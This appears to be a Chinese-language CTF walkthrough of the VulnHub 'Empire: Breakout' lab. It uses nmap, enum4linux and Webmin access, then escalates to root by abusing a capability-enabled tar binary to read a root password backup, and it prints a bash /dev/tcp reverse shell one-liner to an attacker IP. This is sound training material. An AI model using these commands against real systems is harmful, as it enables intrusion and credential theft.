一.环境搭建
1.靶场描述
Description
Back to the Top
Difficulty: Easy
This box was created to be an Easy box, but it can be Medium if you get lost.
For hints discord Server ( https://discord.gg/7asvAhCEhe )
2.靶场地址
https://www.vulnhub.com/entry/empire-breakout,751
3.启动靶场
虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24
二.渗透测试
1.目标
目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24
2.信息收集
(1)寻找靶场真实ip
nmap -sP 192.168.52.0/24
arp-scan -l
靶场真实ip地址为192.168.52.134
(2)探测端口及服务
nmap -A -v -p- 192.168.52.134
这里我们不使用这个命令,这个命令看起来太麻烦了,我们使用另一个命令,更加直观
nmap -p- -sV 192.168.52.134
发现开启了80端口,APache httpd 2.4.51((Debian))
发现开启了139,445端口,Samba smbd 4.6.2
发现开启了10000,20000端口, MiniServ 1.830 (Webmin httpd)
也可以使用masscan进行探测
(3)web指纹识别
whatweb -v 192.168.52.134
3.渗透测试
(1)访问web服务
http://192.168.52.134
是一个apache2页面,我们查看源码,可以看到一个加密的过后的字符串,我们进行解密
.2uqPEfj3D<P'a-3
这应该是一个密码,先记录下来,接着我们继续查看另外两个网站
10000端口和20000端口是不同的登录系统,一个是登录网站的,一个是登录用户的
(2)扫描web服务
1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.134
没有有用的信息
2)nikto扫描网站结构
nikto -h http://192.168.52.134
但是没有什么用
3)dirsearch目录扫描
dirsearch -u 192.168.52.133 -e * -x 403 --random-agent
没有任何信息
(3)渗透测试
1)enum4linux 收集用户
我们已经有了用户的密码,所以我们要着手寻找用户名了,由于靶机开放了smb服务,所以我们可以收集有关靶机smb的信息, 使用命令enum4linux可以收集大量的信息
Enum4linux 是一个用于枚举和收集信息的开源工具,特别是在Windows环境下进行。它设计用于与SMB/CIFS(Server Message Block/Common Internet File System)协议交互,该协议通常用于在Windows网络中共享文件和打印机。
以下是 Enum4linux 的主要功能:
用户和组枚举: Enum4linux 可以列出目标系统上的用户和组,包括一些敏感信息,如用户ID(UID)、组ID(GID)、用户描述等。
共享枚举: 它可以枚举目标系统上的共享资源,包括共享名称、共享路径和共享类型。
策略枚举: 工具可以提取目标系统的安全策略信息,包括密码策略和帐户锁定策略。
会话和会话枚举: 它可以列举活动会话,显示与系统相关的用户信息。
操作系统版本信息: Enum4linux 试图识别目标系统的操作系统版本。
enum4linux 192.168.52.134
获得了一个用户名cyber
2)登录用户名
登录一下20000端口,登录进去一看,发现左下角有一个终端的图标,点进去之后就可以运行命令了
我们可以找到第一个flag
(4)提权
我们查看权限,不是root权限,我们进行提权
我们先反弹shell
我们可以看到反弹成功
除了user.txt,还发现一个 tar 文件,查看一下文件的相关属性
突然给这么一个可运行文件肯定是有深意的,我们看一下这个文件拥有的权限是什么
getcap tar
getcap是一个Linux命令,用于获取文件的能力(capabilities)信息。在Linux中,能力是一种粒度更细的权限系统,用于授予进程执行特定操作的权限,而不是传统的用户和组权限模型。
发现有 cap_dac_read_search=ep 功能,能读取文件,发现它是可以读取任意文件的,有关linux setcap命令的信息,查看下面链接
https://www.cnblogs.com/iamfy/archive/2012/09/20/2694977.html
后来在 /var/backups 目录下发现了一个密码备份文件:
其实如果我们想在kali里面寻找文件,我们可以使用如下命令
find -name "*bak*"
只能由root用户读取,不过之前发现 tar 可以读取任意文件,那就用 tar 读取文件
tar tar -tvf archive.tar
我们用tar把它打包之后再解压出来,就没有权限问题了
./tar -cvf MS02423.tar /var/backups/.old_pass.bak
tar -xvf MS02423.tar
cat之后获得了root密码
我们登录root,但是发现这里有bug
那么我们就反弹shell
bash -i >& /dev/tcp/192.168.52.152/666666 0>&1
可反弹成功,在此登录root就可以看到最终的flag了
三.相关资源
1.靶场下载地址
2.nmap
3.arp-scan
4.masscan
5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解
6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)
7.nikto工具的使用
8.dirsearch目录扫描
9.enum4linux 工具的使用
10.kali反弹shell
11.tar
12.getcap